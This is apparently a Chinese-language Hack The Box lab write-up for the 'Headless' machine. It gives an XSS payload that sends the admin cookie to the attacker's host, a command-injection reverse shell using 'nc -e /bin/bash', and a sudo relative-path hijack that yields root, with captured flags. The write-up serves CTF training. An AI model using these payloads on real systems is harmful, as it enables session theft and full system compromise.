Headless靶機筆記

Ling-X5發表於2024-08-08

Headless靶機

靶機概述

Headless 是一款簡單易難的 Linux 機器,具有python實現的託管網站的伺服器。基本思路:

  1. 透過埠探測到web頁面,有一個表單。
  2. 利用忙注XSS,獲得管理員Cookie,進而獲得立足點。
  3. 利用郵件資訊進行提權到root許可權

Headless靶機地址

1、nmap埠探測

1)測試kali與HTB連通性
a)kali連線網路卡
ip a
tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.50/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::1030/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::5fd0:9e3a:8065:d66a/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever

與HTB連線的網路卡10.10.14.50

b)HTB靶機地址

image-20240728104556772

c) ping 測試
ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
64 bytes from 10.10.11.8: icmp_seq=1 ttl=63 time=330 ms
64 bytes from 10.10.11.8: icmp_seq=2 ttl=63 time=328 ms
2) nmap掃描
a) 埠發現
# 以最低10000速率,以tcp掃面全埠 結果輸出到ports檔案中
nmap -sT -p- --min-rate 10000 10.10.11.8 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-27 22:32 EDT
Warning: 10.10.11.8 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.8
Host is up (0.33s latency).
Not shown: 65178 closed tcp ports (conn-refused), 355 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 54.36 seconds
b) 埠詳細資訊
# 以tcp連線,輸出詳細資訊,以預設指令碼 掃描22,5000埠,結果輸出到details檔案中
nmap -sT -sV -sC -p22,5000 10.10.11.8 -o details  

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_  256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 28 Jul 2024 02:48:15 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close

可以看到5000埠像是一個web服務,22號埠就是常規的ssh服務

2、web滲透

1)訪問5000埠
image-20240728105405829

發現有一個For questions的按鈕,我們點選進去,看到一個表單,嘗試XSS注入

image-20240728105708284

點選提交

image-20240728105817142

上面顯示

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

你的IP地址已經被標記,你的瀏覽器資訊的報告已經被髮送給管理員去調查了。

下邊就是報告的資訊,可以看到有頭部的資訊,可以嘗試頭部XSS注入

2)獲取管理員cookie
a) 嘗試注入點

我們開啟burpsuite攔截提交表單的請求

image-20240728115348013

我們修改UA頭資訊,進行XSS注入

插入

<script>alert(1)</script>
image-20240728115819719 image-20240728115928548

成功彈窗

b) 獲取管理員cookie
  1. 開啟本地的服務,捕獲http請求
# python開啟http監聽5000埠
python -m http.server 5000
  1. UA頭插入
GET請求本地的python服務cookie以引數傳輸base64加密後的字串
<script>var i=new Image(); i.src="http://10.10.14.41:5000/?cookie="+btoa(document.cookie);</script>
image-20240728151607467

出現了一點小bug,

ping 10.10.11.8
PING 10.10.11.8 (10.10.11.8) 56(84) bytes of data.
From 10.10.14.1 icmp_seq=1 Destination Host Unreachable
From 10.10.14.1 icmp_seq=2 Destination Host Unreachable
From 10.10.14.1 icmp_seq=3 Destination Host Unreachable

換了一個vpn節點 我的主機ip換成了 10.10.14.54

3.傳送觀察本地的python服務

image-20240728151726137

看到cookie的base64外帶出來了

開始base64解碼

echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d

# 結果
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 

看著is_admin欄位也是base64加密的,解碼看看

echo "ImFkbWluIg" | base64 -d
"admin"base64: 無效的輸入

# 這裡無效輸入,是base編碼字元的長度必須是4的倍數,否則用‘=’補齊
echo "ImFkbWluIg==" | base64 -d
"admin"

可以看到就是admin,我們有了admin的cookie,看看有沒有什麼其他可以訪問的網站

3)管理介面路徑尋找
a) 路徑爆破
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.8:5000

#出來的路徑
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]
b) 訪問dashboardimage-20240728153423768

unauthorized我們可以更換我們瀏覽器的cookie值,達到訪問的目的 image-20240728153912605

重新整理可以看到

image-20240728154024223

看它是Select Date框裡是日期,會不會是date命令生成的呢。點選 Generate Report看看會發生什麼

image-20240728154148675

下面說Systems are up and running!

用burp抓包分析一下

image-20240728154436136

c) 嘗試命令注入

傳了一個date引數,我們嘗試命令注入 ;id看可不可以

image-20240728154621288

看到輸出了id的命令值

image-20240728154653300

3、反彈shell,獲得立足點

1)本地監聽
nc -lnvp 4444
2) 命令注入

反彈shell

nc -e /bin/bash 10.10.14.54 4444

image-20240728155820214

image-20240728155855641

成功反彈shell,獲得立足點

# 獲得一個更美觀的shell,並讓日誌不記錄我們的操做
script /dev/null -c /bin/bash

image-20240728160201463

3) 獲得user flag

在本使用者的家目錄,找到flag

dvir@headless:~$ cd /home/dvir
cd /home/dvir
dvir@headless:~$ cat user.txt 
cat user.txt
c62add3a4cecb6ace7242e40305e9ed2

4、提權到root

1)發現郵件系統

透過列舉目標系統,發現目標有郵件

cd /var/mail
cat dvir

Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

意思就是說:為了應對最近的相容性和崩潰問題,我們引入了一個新的系統檢查指令碼。

這個指令碼應該就是我們提權的關鍵

# 執行 sudo -l 可以看到檢查檔案的路徑
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
#檢視一下指令碼
cat /sur/bin/syscheck

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

2)分析指令碼檔案

我們可以看到以上指令碼,執行了多項系統的檢查與維護任務。

首先,它驗證是否以特權執行,如果沒有則退出。

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

然後,識別並格式化顯示核心vmlinuz*的最後修改時間。

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

之後,它檢索並顯示根檔案系統上的可用磁碟空間。

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

該指令碼還報告系統的平均負載。此外,它還會檢查名為 initdb.sh 的資料庫服務是否正在執行;如果沒有,它會默默地啟動它

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

基於initdb.sh沒有執行會被這個檢查系統的指令碼syscheck默默以特權執行

我們是不是可以像dll劫持、環境變數劫持那樣,讓他去載入我們自己寫的initdb.sh

3)initdb.sh劫持提權
# 由於我們在tmp目錄下具有寫許可權,先在tmp目錄下建立initdb.sh

echo "/bin/bash" > /tmp/initdb.sh

# 賦予執行許可權
chmod +x /tmp/initdb.sh

執行sudo syscheck

dvir@headless:/tmp$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average:  0.00, 0.00, 0.00
Database service is not running. Starting it...
id
id
uid=0(root) gid=0(root) groups=0(root)

拿到root flag

cat /root/root.txt
1d3462b03683fc35bcd908637e7dc4a7

總結

  1. 先用nmap掃描,發現目標機器開放了22,5000埠。
  2. 訪問5000埠,發現是一個web服務,並且有一個表單,嘗試儲存型XSS攻擊,獲得管理員cookie資訊
  3. 利用管理員cookie資訊,結合目錄爆破出來的/bashboard路徑,發現了一處命令注入的RCE漏洞,成功獲得立足點
  4. 透過列舉得到此使用者有mail郵件,開啟郵件說有一個系統檢查指令碼syscheck,透過分析指令碼知道指令碼會去以root許可權執行initdb.sh服務
  5. 透過劫持initdb.sh成功獲得root許可權